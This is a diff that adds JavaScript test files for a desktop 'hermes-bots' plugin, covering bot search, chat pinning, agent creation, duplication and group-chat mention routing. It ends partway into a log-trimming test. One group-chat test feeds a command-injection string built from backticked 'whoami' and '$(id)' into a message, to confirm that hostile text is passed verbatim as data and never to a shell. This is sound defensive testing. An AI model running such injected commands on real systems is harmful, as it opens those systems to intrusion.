diff --git a/apps/desktop/src/plugins/hermes-bots/tests/bots-search.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/bots-search.test.mjs
new file mode 100644
index 00000000000..c0ae2c07dd9
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/bots-search.test.mjs
@@ -0,0 +1,69 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function loadFilter() {
+ const start = source.indexOf('function botHandle')
+ const end = source.indexOf('function slugify')
+
+ assert.ok(start >= 0 && end > start, 'bot identity helper block must remain extractable')
+
+ const context = {}
+ vm.runInNewContext(
+ `${source.slice(start, end)}\nglobalThis.__filterBots = filterBots;`,
+ context
+ )
+
+ return context.__filterBots
+}
+
+const roster = [
+ { name: 'agency-audio-designer', title: 'Audio Designer' },
+ { name: 'agency-ai-engineer', title: 'AI Engineer' },
+ { name: 'default' }
+]
+const meta = {
+ 'agency-audio-designer': { title: 'Sound Studio' },
+ default: {}
+}
+
+test('bot search matches visible display names case-insensitively', () => {
+ const filterBots = loadFilter()
+
+ assert.deepEqual(
+ filterBots(roster, meta, 'SOUND').map(bot => bot.name),
+ ['agency-audio-designer']
+ )
+})
+
+test('bot search matches profile handles and preserves roster order', () => {
+ const filterBots = loadFilter()
+
+ assert.deepEqual(
+ filterBots(roster, meta, 'agency-').map(bot => bot.name),
+ ['agency-audio-designer', 'agency-ai-engineer']
+ )
+ assert.deepEqual(
+ filterBots(roster, meta, '@hermes').map(bot => bot.name),
+ ['default']
+ )
+ assert.deepEqual(
+ filterBots(roster, meta, 'default').map(bot => bot.name),
+ ['default']
+ )
+})
+
+test('blank bot search returns the existing roster reference', () => {
+ const filterBots = loadFilter()
+
+ assert.equal(filterBots(roster, meta, ' '), roster)
+})
+
+test('Bot pane renders the canonical search field and no-match state', () => {
+ assert.match(source, /jsx\(SearchField,\s*\{[\s\S]*?placeholder: 'Search bots…'/)
+ assert.match(source, /'aria-live': 'polite'/)
+ assert.match(source, /No bots match “\$\{query\.trim\(\)\}”/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/canonical-chat-creation.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/canonical-chat-creation.test.mjs
new file mode 100644
index 00000000000..8d6d8d39972
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/canonical-chat-creation.test.mjs
@@ -0,0 +1,46 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function loadCanonicalCreation({ openSession, request }) {
+ const start = source.indexOf('const canonicalCreations = new Map()')
+ const end = source.indexOf('function displayName(', start)
+ const saved = []
+ const context = {
+ host: { openSession, request },
+ saveBotMeta: (name, patch) => saved.push({ name, patch }),
+ $hideBotChats: { get: () => false },
+ window: { setTimeout: callback => callback() }
+ }
+ const section = source
+ .slice(start, end)
+ .concat('\nglobalThis.__canonical = { createCanonicalChat };\n')
+
+ assert.notEqual(start, -1, 'canonical creation section is missing')
+ assert.notEqual(end, -1, 'canonical creation section delimiter is missing')
+ vm.runInNewContext(section, context, { filename: 'canonical-creation.js' })
+ return { ...context.__canonical, saved }
+}
+
+test('regression: navigation retries after the kickoff persists a new canonical chat', async () => {
+ const events = []
+ let attempts = 0
+ const runtime = loadCanonicalCreation({
+ openSession: async id => {
+ events.push(`open:${id}`)
+ attempts += 1
+ if (attempts === 1) throw new Error('stored row not persisted yet')
+ },
+ request: async method => {
+ if (method === 'session.create') return { stored_session_id: 'stored-1', session_id: 'runtime-1' }
+ if (method === 'prompt.submit') events.push('kickoff:persisted')
+ return {}
+ }
+ })
+
+ assert.equal(await runtime.createCanonicalChat('ops'), 'stored-1')
+ assert.deepEqual(events, ['open:stored-1', 'kickoff:persisted', 'open:stored-1'])
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/canonical-chat-empty-recovery.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/canonical-chat-empty-recovery.test.mjs
new file mode 100644
index 00000000000..9415860328b
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/canonical-chat-empty-recovery.test.mjs
@@ -0,0 +1,45 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function loadCanonicalRecovery({ openSession, request }) {
+ const start = source.indexOf('const canonicalCreations = new Map()')
+ const end = source.indexOf('function displayName(', start)
+ const saved = []
+ const context = {
+ host: { openSession, request },
+ saveBotMeta: (name, patch) => saved.push({ name, patch }),
+ $hideBotChats: { get: () => false },
+ window: { setTimeout: callback => callback() }
+ }
+ const section = source
+ .slice(start, end)
+ .concat('\nglobalThis.__canonical = { openBotCanonicalChat };\n')
+
+ assert.notEqual(start, -1, 'canonical chat section is missing')
+ assert.notEqual(end, -1, 'canonical chat section delimiter is missing')
+ vm.runInNewContext(section, context, { filename: 'canonical-recovery.js' })
+ return { ...context.__canonical, saved }
+}
+
+test('regression: an empty session list clears a stale pin and creates a replacement', async () => {
+ const opened = []
+ const runtime = loadCanonicalRecovery({
+ openSession: async id => opened.push(id),
+ request: async method => {
+ if (method === 'session.list') return { sessions: [] }
+ if (method === 'session.create') return { stored_session_id: 'replacement', session_id: 'replacement-runtime' }
+ return {}
+ }
+ })
+
+ assert.equal(await runtime.openBotCanonicalChat('ops', 'stale-pin'), 'replacement')
+ assert.deepEqual(opened, ['replacement'])
+ assert.deepEqual(JSON.parse(JSON.stringify(runtime.saved)), [
+ { name: 'ops', patch: { chat: null } },
+ { name: 'ops', patch: { chat: 'replacement' } }
+ ])
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/canonical-chat-pin.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/canonical-chat-pin.test.mjs
new file mode 100644
index 00000000000..71fa4202fb3
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/canonical-chat-pin.test.mjs
@@ -0,0 +1,28 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+
+// #24's guarantee (preserve a valid canonical pin instead of clobbering it from
+// a bounded session list) is now enforced inside openBotCanonicalChat(), which
+// #28 introduced to unify the create / recover / replace lifecycle. This test
+// pins that guarantee against the current structure: a valid pinned id present
+// in the session list must be opened as-is (never replaced), and only an
+// ACTUALLY-missing pin triggers recovery.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+const start = source.indexOf('async function openBotCanonicalChat(')
+assert.notEqual(start, -1, 'openBotCanonicalChat declaration is missing')
+const end = source.indexOf('\nfunction ', start)
+const fnSource = source.slice(start, end === -1 ? undefined : end)
+
+test('regression: a pinned canonical chat found in the list is opened, not replaced', () => {
+ // The pin is opened directly with its own id under the bot's profile.
+ assert.match(fnSource, /host\.openSession\(id, \{ profile: name \}\)/)
+ // Replacement (rows[0].id) only happens when the pin is NOT in the list...
+ assert.match(fnSource, /if \(!rows\.some\(session => session\.id === id\)\)/)
+ assert.match(fnSource, /id = rows\[0\]\.id/)
+ // ...and an empty list clears the stale pin before recreating (the #28 fix),
+ // rather than opening a known-bad id.
+ assert.match(fnSource, /if \(!rows\.length\)/)
+ assert.match(fnSource, /return createCanonicalChat\(name\)/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/create-agent-clone-default.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/create-agent-clone-default.test.mjs
new file mode 100644
index 00000000000..2b943e0d3f6
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/create-agent-clone-default.test.mjs
@@ -0,0 +1,21 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+
+// CreateAgentDialog seeds cloneFrom with useState('default') — "Clone from:
+// default (the main profile)" — but reset() restored it to '__none__' ("Fresh
+// profile"). The first dialog open cloned the main profile; every later open
+// after a create/cancel silently defaulted to a fresh profile. reset() must
+// restore the same default the dialog was mounted with.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+const initialMatch = source.match(/const \[cloneFrom, setCloneFrom\] = useState\('([^']+)'\)/)
+assert.ok(initialMatch, 'cloneFrom useState initializer is missing')
+
+test('regression: New Agent reset restores the initial clone-from default', () => {
+ const initial = initialMatch[1]
+ assert.equal(initial, 'default')
+ assert.match(source, new RegExp(`setCloneFrom\\('${initial}'\\)`))
+ assert.doesNotMatch(source, /setCloneFrom\('__none__'\)/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/create-agent-mcp-setup.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/create-agent-mcp-setup.test.mjs
new file mode 100644
index 00000000000..3200676dbc6
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/create-agent-mcp-setup.test.mjs
@@ -0,0 +1,48 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+
+// The New Agent dialog must let you configure MCP OAuth / API-key credentials
+// DURING creation (not force create-then-edit). It does this by lazily
+// materializing the profile on first setup via ensureAgentCreated(), passed to
+// McpSetupButton as ensureProfile.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+test('McpSetupButton accepts an ensureProfile callback and resolves the profile lazily', () => {
+ const fn = source.slice(
+ source.indexOf('function McpSetupButton('),
+ source.indexOf('function botAppearance(')
+ )
+ // Signature carries ensureProfile.
+ assert.match(fn, /function McpSetupButton\(\{ profile, entry, onDone, ensureProfile \}\)/)
+ // resolveProfile falls back to ensureProfile() when no profile is set yet.
+ assert.match(fn, /const resolveProfile = async \(\) =>/)
+ assert.match(fn, /const created = await ensureProfile\(\)/)
+ // Both credential paths resolve the profile before adding the server.
+ const beginKeys = fn.slice(fn.indexOf('const beginKeys ='), fn.indexOf('const submitKeys ='))
+ assert.match(beginKeys, /const profile = await resolveProfile\(\)/)
+ const beginOAuth = fn.slice(fn.indexOf('const beginOAuth ='), fn.indexOf('if (supported === false)'))
+ assert.match(beginOAuth, /const profile = await resolveProfile\(\)/)
+})
+
+test('CreateAgentDialog materializes the profile lazily and idempotently', () => {
+ const fn = source.slice(
+ source.indexOf('function CreateAgentDialog('),
+ source.indexOf('function RoutinesPane(') > source.indexOf('function CreateAgentDialog(')
+ ? source.indexOf('function RoutinesPane(')
+ : source.length
+ )
+ // Idempotent creation guard shares the in-flight creation promise.
+ assert.match(fn, /const ensureAgentCreated = \(\) =>/)
+ assert.match(fn, /singleFlight\(flightRef, async \(\) =>/)
+ // The slug ref stays a string for its sibling consumers (taken check,
+ // draft discard, MCP setup profile param).
+ assert.match(fn, /createdRef\.current = slug/)
+ // submit() routes through the same helper (no duplicate profiles.create).
+ assert.match(fn, /const slugCreated = await ensureAgentCreated\(\)/)
+ // The MCP setup button in Create is wired to lazy creation, not disabled.
+ assert.match(fn, /ensureProfile: ensureAgentCreated/)
+ // The dead "save the agent first" gate is gone.
+ assert.doesNotMatch(source, /save the agent first/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/draft-agent-discard.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/draft-agent-discard.test.mjs
new file mode 100644
index 00000000000..4bf4c46dcb9
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/draft-agent-discard.test.mjs
@@ -0,0 +1,36 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+
+// New Agent's lazily-materialized profile (Capabilities tab / MCP setup) is a
+// DRAFT until Create Agent is pressed: cancelling the dialog must delete it so
+// preconfigure-then-back-out leaves zero residue.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+test('discardDraft deletes the materialized draft via deleteBot', () => {
+ assert.match(source, /const discardDraft = \(\) => \{/)
+ assert.match(source, /void deleteBot\(\{ name: draft \}\)/)
+ // Ref cleared FIRST so a re-entrant cancel can't double-delete.
+ assert.match(source, /createdRef\.current = null\n\s*flightRef\.current = null\n\s*void deleteBot/)
+})
+
+test('both cancel paths discard the draft (esc/overlay + Cancel button)', () => {
+ const dialogClose = /discardDraft\(\)\s*\n\s*reset\(\)\s*\n\s*onClose\(\)/g
+ const hits = source.match(dialogClose) || []
+ assert.ok(hits.length >= 2, `expected discardDraft before reset/onClose in both cancel paths, found ${hits.length}`)
+})
+
+test('successful create does NOT discard: reset clears createdRef before close', () => {
+ // reset() nulls the ref, so the dialog-close discard becomes a no-op after
+ // a real Create.
+ assert.match(source, /setError\(null\)\n\s*createdRef\.current = null\n\s*flightRef\.current = null\n\s*\}/)
+})
+
+test('renaming after materialization discards the orphaned draft', () => {
+ assert.match(source, /createdRef\.current && createdRef\.current !== slug/)
+})
+
+test("the draft's own slug does not read as taken", () => {
+ assert.match(source, /roster\.some\(b => b\.name === slug && b\.name !== createdRef\.current\)/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/duplicate-bot.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/duplicate-bot.test.mjs
new file mode 100644
index 00000000000..4301ad53e9f
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/duplicate-bot.test.mjs
@@ -0,0 +1,87 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load() {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const calls = []
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: {
+ state: { profile: { listen: () => undefined } },
+ request: async (method, params) => {
+ calls.push({ method, params })
+ return { ok: true }
+ }
+ }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__dup = { duplicateBot, $botMeta };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ return { context, calls }
+}
+
+test('unit: duplicate copies the look but not the source chat pin', async () => {
+ const { context, calls } = load()
+ const { duplicateBot, $botMeta } = context.__dup
+ $botMeta.set({
+ researcher: {
+ shape: 'circle',
+ color: '#f97316',
+ title: 'Researcher',
+ image: 'data:image/png;base64,xx',
+ chat: 'sess-source-forever',
+ created: 1700000000000
+ }
+ })
+
+ const name = await duplicateBot({ name: 'researcher', description: 'finds things' }, [{ name: 'researcher' }])
+ assert.equal(name, 'researcher-2')
+
+ const clone = $botMeta.get()['researcher-2']
+ assert.equal(clone.shape, 'circle')
+ assert.equal(clone.color, '#f97316')
+ assert.equal(clone.image, 'data:image/png;base64,xx')
+ assert.equal(clone.title, 'Researcher (copy)')
+ assert.equal(clone.chat, undefined)
+ assert.equal(clone.created, undefined)
+
+ const created = calls.find(c => c.method === 'profiles.create')
+ assert.equal(created.params.clone_from, 'researcher')
+ assert.equal(created.params.name, 'researcher-2')
+
+ const configure = calls.filter(c => c.method === 'profiles.configure')
+ assert.ok(configure.length)
+ const ui = configure[configure.length - 1].params.ui_meta['hermes-bots']
+ assert.equal(ui.chat, undefined)
+ assert.equal(ui.created, undefined)
+ assert.equal(ui.title, 'Researcher (copy)')
+})
+
+test('regression: a bot with no pin still duplicates its look', async () => {
+ const { context } = load()
+ const { duplicateBot, $botMeta } = context.__dup
+ $botMeta.set({ painter: { shape: 'cloud', color: '#38bdf8', title: 'Painter' } })
+ const name = await duplicateBot({ name: 'painter' }, [{ name: 'painter' }])
+ const clone = $botMeta.get()[name]
+ assert.equal(clone.title, 'Painter (copy)')
+ assert.equal(clone.shape, 'cloud')
+ assert.equal(clone.chat, undefined)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/embed-real-capabilities.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/embed-real-capabilities.test.mjs
new file mode 100644
index 00000000000..8ee211ab021
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/embed-real-capabilities.test.mjs
@@ -0,0 +1,33 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+
+// The bot editor (Edit Profile → Advanced) must render the REAL core Capabilities
+// components — ToolsetConfigPanel (full per-toolset env/keys/model/post-setup)
+// and McpTab (per-server enable + OAuth + API-key setup) — scoped to the bot's
+// profile, instead of bare checkbox stand-ins. Both are feature-detected so the
+// plugin still loads on older desktop builds that don't export them yet.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+test('resolves optional Capabilities components from the SDK namespace', () => {
+ assert.match(source, /import \* as sdk from '@hermes\/plugin-sdk'/)
+ assert.match(source, /const \{ McpTab, ToolsetConfigPanel \} = sdk/)
+})
+
+test('AdvancedProfileConfig embeds ToolsetConfigPanel per toolset, scoped to the bot profile', () => {
+ // Rendered only when the SDK export exists (older builds: just the toggle).
+ assert.match(source, /ToolsetConfigPanel\s*\n?\s*\?\s*jsx\('div'/)
+ assert.match(source, /jsx\(ToolsetConfigPanel, \{ toolset: tset\.name, profile: bot \}\)/)
+})
+
+test('AdvancedProfileConfig embeds the real McpTab with a live gateway + profile, feature-detected', () => {
+ assert.match(source, /McpTab && typeof host\.getGateway === 'function'/)
+ assert.match(source, /jsx\(McpTab, \{ gateway: host\.getGateway\(\), profile: bot \}\)/)
+})
+
+test('older-build fallback: the checkbox MCP list + inline McpSetupButton is still present', () => {
+ // The graceful path for desktops without the SDK export must remain intact.
+ assert.match(source, /jsx\(McpSetupButton, \{/)
+ assert.match(source, /No MCP servers configured or in the catalog\./)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/embed-skills-view.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/embed-skills-view.test.mjs
new file mode 100644
index 00000000000..f9c2fc70345
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/embed-skills-view.test.mjs
@@ -0,0 +1,37 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+
+// Newer desktop builds export the WHOLE core Capabilities surface (SkillsView,
+// hermes-agent#87317). The bot editor's Advanced section must render it pinned
+// to the bot's profile — in Edit Profile directly, and in New Agent behind a
+// Capabilities tab that materializes the profile first. Feature-detected so
+// the plugin still loads (and keeps its checklist UI) on older desktops.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+test('resolves SkillsView as an optional SDK namespace export', () => {
+ assert.match(source, /import \* as sdk from '@hermes\/plugin-sdk'/)
+ assert.match(source, /const SkillsView = typeof sdk === 'undefined' \? undefined : sdk\.SkillsView/)
+})
+
+test('Edit Profile renders the pinned Capabilities surface when the export exists', () => {
+ assert.match(source, /if \(SkillsView\) \{/)
+ assert.match(source, /jsx\(SkillsView, \{ embedded: true, fixedProfile: bot \}\)/)
+})
+
+test('New Agent gains a Capabilities tab that materializes the profile first', () => {
+ // Tab list swaps to General + Capabilities on newer builds…
+ assert.match(source, /\['capabilities', 'Capabilities'\]/)
+ // …and opening it creates the profile through the same lazy door MCP setup uses.
+ assert.match(source, /id === 'capabilities'/)
+ assert.match(source, /ensureAgentCreated\(\)\s*\n?\s*\.then\(created => created && setCreatedForCaps\(created\)\)/)
+ assert.match(source, /jsx\(SkillsView, \{ embedded: true, fixedProfile: createdForCaps \}\)/)
+})
+
+test('older-build fallback keeps the checklist UI intact', () => {
+ // The staged CheckList sections and the hub search section must survive for
+ // desktops without the SkillsView export.
+ assert.match(source, /jsx\(CheckList, \{ items: visibleSkills/)
+ assert.match(source, /jsx\(HubSkillsSection, \{/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/group-chat.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/group-chat.test.mjs
new file mode 100644
index 00000000000..a421459f84d
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/group-chat.test.mjs
@@ -0,0 +1,245 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+/** Load the plugin in a vm with a scripted cli.exec so member turns are
+ * deterministic. `turnScript(profile, prompt)` returns the member's reply
+ * text (or throws to simulate a failed turn). */
+function load(turnScript) {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const calls = []
+ const transcripts = new Map()
+ const context = {
+ atom,
+ setTimeout: fn => {
+ fn()
+ return 0
+ },
+ clearTimeout: () => undefined,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: {
+ request: async (method, params) => {
+ if (method === 'session.create') {
+ return { session_id: `rt-${params.profile}`, stored_session_id: `sid-${params.profile}`, message_count: 0, messages: [] }
+ }
+ if (method === 'session.resume') {
+ const profile = params.profile
+ const transcript = transcripts.get(profile) || []
+ return { session_id: `rt-${profile}`, messages: transcript, inflight: false, running: false }
+ }
+ if (method === 'prompt.submit') {
+ const profile = String(params.session_id).replace(/^rt-/, '')
+ const transcript = transcripts.get(profile) || []
+ transcript.push({ role: 'user', content: params.text })
+ calls.push({ profile, prompt: params.text })
+ const reply = turnScript(profile, params.text, calls.length)
+ transcript.push({ role: 'assistant', content: reply })
+ transcripts.set(profile, transcript)
+ return {}
+ }
+ return {}
+ },
+ state: { profile: { get: () => 'default', listen: () => undefined }, gateway: { listen: () => undefined } },
+ notify: () => undefined,
+ notifyError: () => undefined
+ }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat(
+ '\nglobalThis.__gc = { sendToGroupChat, runGroupChatRounds, resolveGroupResponders, parseGroupChatMentions, rotateGroupSpeakers, isGroupPassText, formatGroupChatLine, buildGroupChatTurnPrompt, trimGroupChatLog, $groupChats, $groupNeedsYou, GROUP_CHAT_MAX_ROUNDS, GROUP_CHAT_MAX_MESSAGES };\n'
+ )
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ context.plugin.register({ storage: { get: () => null, set: () => undefined }, register: () => undefined })
+ return { ...context.__gc, calls }
+}
+
+const MEMBERS = [{ name: 'research', title: '' }, { name: 'builder', title: '' }, { name: 'ops', title: 'The Ops' }]
+
+function roomLog(gc, group) {
+ return (gc.$groupChats.get()[group] || { log: [] }).log
+}
+
+test('pass detection: (pass), pass, pass., empty are silence; real text is not', () => {
+ const gc = load(() => '(pass)')
+ assert.equal(gc.isGroupPassText('(pass)'), true)
+ assert.equal(gc.isGroupPassText('pass'), true)
+ assert.equal(gc.isGroupPassText('Pass.'), true)
+ assert.equal(gc.isGroupPassText(' '), true)
+ assert.equal(gc.isGroupPassText('I will pass this to ops'), false)
+})
+
+test('mention routing: only @-mentioned members respond; @everyone or none = all', () => {
+ const gc = load(() => '(pass)')
+ const log = [{ from: { kind: 'user', name: 'You' }, text: '@builder take this one', at: 1 }]
+ const one = gc.resolveGroupResponders(log, MEMBERS)
+ assert.equal(JSON.stringify(one.map(m => m.name)), JSON.stringify(['builder']))
+
+ const all = gc.resolveGroupResponders([{ from: { kind: 'user', name: 'You' }, text: 'hello team', at: 1 }], MEMBERS)
+ assert.equal(all.length, 3)
+
+ const everyone = gc.resolveGroupResponders(
+ [{ from: { kind: 'user', name: 'You' }, text: '@everyone standup', at: 1 }],
+ MEMBERS
+ )
+ assert.equal(everyone.length, 3)
+})
+
+test('mention routing: display titles resolve to the member and @user never matches a bot', () => {
+ const gc = load(() => '(pass)')
+ const parsed = gc.parseGroupChatMentions('@theops please check, then ping @user', MEMBERS)
+ assert.equal(parsed.mentioned.has('ops'), true)
+ assert.equal(parsed.mentioned.size, 1)
+})
+
+test('a member @-mentioned by another bot joins the NEXT round', async () => {
+ const gc = load((profile, prompt) => {
+ if (profile === 'research' && !prompt.includes('(you)')) {
+ return 'Interesting — @builder should own this.'
+ }
+ if (profile === 'builder') {
+ return 'On it. OWNER: @builder.'
+ }
+ return '(pass)'
+ })
+
+ gc.sendToGroupChat('Core', [{ name: 'research', title: '' }, { name: 'builder', title: '' }], '@research thoughts?')
+ await new Promise(resolve => setTimeout(resolve, 0))
+ await new Promise(resolve => setImmediate(resolve))
+ // Drain the async loop: poll until running flips false.
+ for (let i = 0; i < 200 && (gc.$groupChats.get().Core || {}).running; i++) {
+ await new Promise(resolve => setImmediate(resolve))
+ }
+
+ const texts = roomLog(gc, 'Core').map(e => `${e.from.name}: ${e.text}`)
+ assert.equal(texts.some(t => t.startsWith('research:')), true)
+ assert.equal(texts.some(t => t.startsWith('builder: On it')), true)
+})
+
+test('settle: everyone passing ends the room turn with only the user message logged', async () => {
+ const gc = load(() => '(pass)')
+
+ gc.sendToGroupChat('Quiet', MEMBERS, 'fyi, deploy went out')
+ for (let i = 0; i < 200 && (gc.$groupChats.get().Quiet || {}).running; i++) {
+ await new Promise(resolve => setImmediate(resolve))
+ }
+
+ const log = roomLog(gc, 'Quiet')
+ assert.equal(log.length, 1)
+ assert.equal(log[0].from.kind, 'user')
+ // Every member took exactly one turn (round 1), then the settle exit fired.
+ assert.equal(gc.calls.length, 3)
+})
+
+test('hard caps: chatty members stop at GROUP_CHAT_MAX_MESSAGES total', async () => {
+ const gc = load((profile, prompt, n) => `message ${n} — @everyone keep going`)
+
+ gc.sendToGroupChat('Loud', MEMBERS, 'go wild')
+ for (let i = 0; i < 400 && (gc.$groupChats.get().Loud || {}).running; i++) {
+ await new Promise(resolve => setImmediate(resolve))
+ }
+
+ const memberMessages = roomLog(gc, 'Loud').filter(e => e.from.kind === 'member')
+ assert.ok(memberMessages.length <= gc.GROUP_CHAT_MAX_MESSAGES, `posted ${memberMessages.length}`)
+})
+
+test('failed member turn is a pass, not a room error', async () => {
+ const gc = load(profile => {
+ if (profile === 'builder') {
+ throw new Error('gateway hiccup')
+ }
+ return '(pass)'
+ })
+
+ gc.sendToGroupChat('Flaky', MEMBERS, 'anyone around?')
+ for (let i = 0; i < 200 && (gc.$groupChats.get().Flaky || {}).running; i++) {
+ await new Promise(resolve => setImmediate(resolve))
+ }
+
+ const log = roomLog(gc, 'Flaky')
+ assert.equal(log.length, 1) // just the user message; no error entries
+})
+
+test('delta injection: a second user send only feeds members the NEW messages', async () => {
+ const prompts = []
+ const gc = load((profile, prompt) => {
+ prompts.push({ profile, prompt })
+ return '(pass)'
+ })
+
+ gc.sendToGroupChat('Delta', [{ name: 'research', title: '' }], 'first message')
+ for (let i = 0; i < 200 && (gc.$groupChats.get().Delta || {}).running; i++) {
+ await new Promise(resolve => setImmediate(resolve))
+ }
+ const firstCount = prompts.length
+ gc.sendToGroupChat('Delta', [{ name: 'research', title: '' }], 'second message')
+ for (let i = 0; i < 200 && (gc.$groupChats.get().Delta || {}).running; i++) {
+ await new Promise(resolve => setImmediate(resolve))
+ }
+
+ const second = prompts.slice(firstCount).find(p => p.prompt.includes('second message'))
+ assert.ok(second, 'second turn ran')
+ assert.equal(second.prompt.includes('first message'), false, 'first message was already seen — not re-injected')
+})
+
+test('needs-you: a member reply mentioning @user badges the group; user send clears it', async () => {
+ const gc = load(profile => (profile === 'research' ? 'Blocked on billing access — @user which account?' : '(pass)'))
+
+ gc.sendToGroupChat('Escalate', [{ name: 'research', title: '' }], 'sort out the invoices')
+ for (let i = 0; i < 200 && (gc.$groupChats.get().Escalate || {}).running; i++) {
+ await new Promise(resolve => setImmediate(resolve))
+ }
+ assert.equal(gc.$groupNeedsYou.get().Escalate, true)
+
+ const gc2 = gc // same room: user reply clears
+ gc2.sendToGroupChat('Escalate', [{ name: 'research', title: '' }], 'use the ops account')
+ assert.equal(gc2.$groupNeedsYou.get().Escalate, false)
+})
+
+test('turn transport is gateway-native (session RPCs) and hostile text rides verbatim', async () => {
+ const gc = load(() => '(pass)')
+
+ gc.sendToGroupChat('Rpc', [{ name: 'research', title: '' }], 'hello "there" `whoami` $(id)')
+ for (let i = 0; i < 200 && (gc.$groupChats.get().Rpc || {}).running; i++) {
+ await new Promise(resolve => setImmediate(resolve))
+ }
+
+ const call = gc.calls[0]
+ assert.equal(call.profile, 'research')
+ // Hostile text is a JSON string in an RPC param — never a shell string.
+ assert.equal(call.prompt.includes('hello "there" `whoami` $(id)'), true)
+ // The per-group session is created with the room title.
+ assert.match(pluginSource, /title,\n/)
+ assert.match(pluginSource, /const title = `Group: \$\{group\}`/)
+})
+
+test('log trimming keeps watermarks consistent', () => {
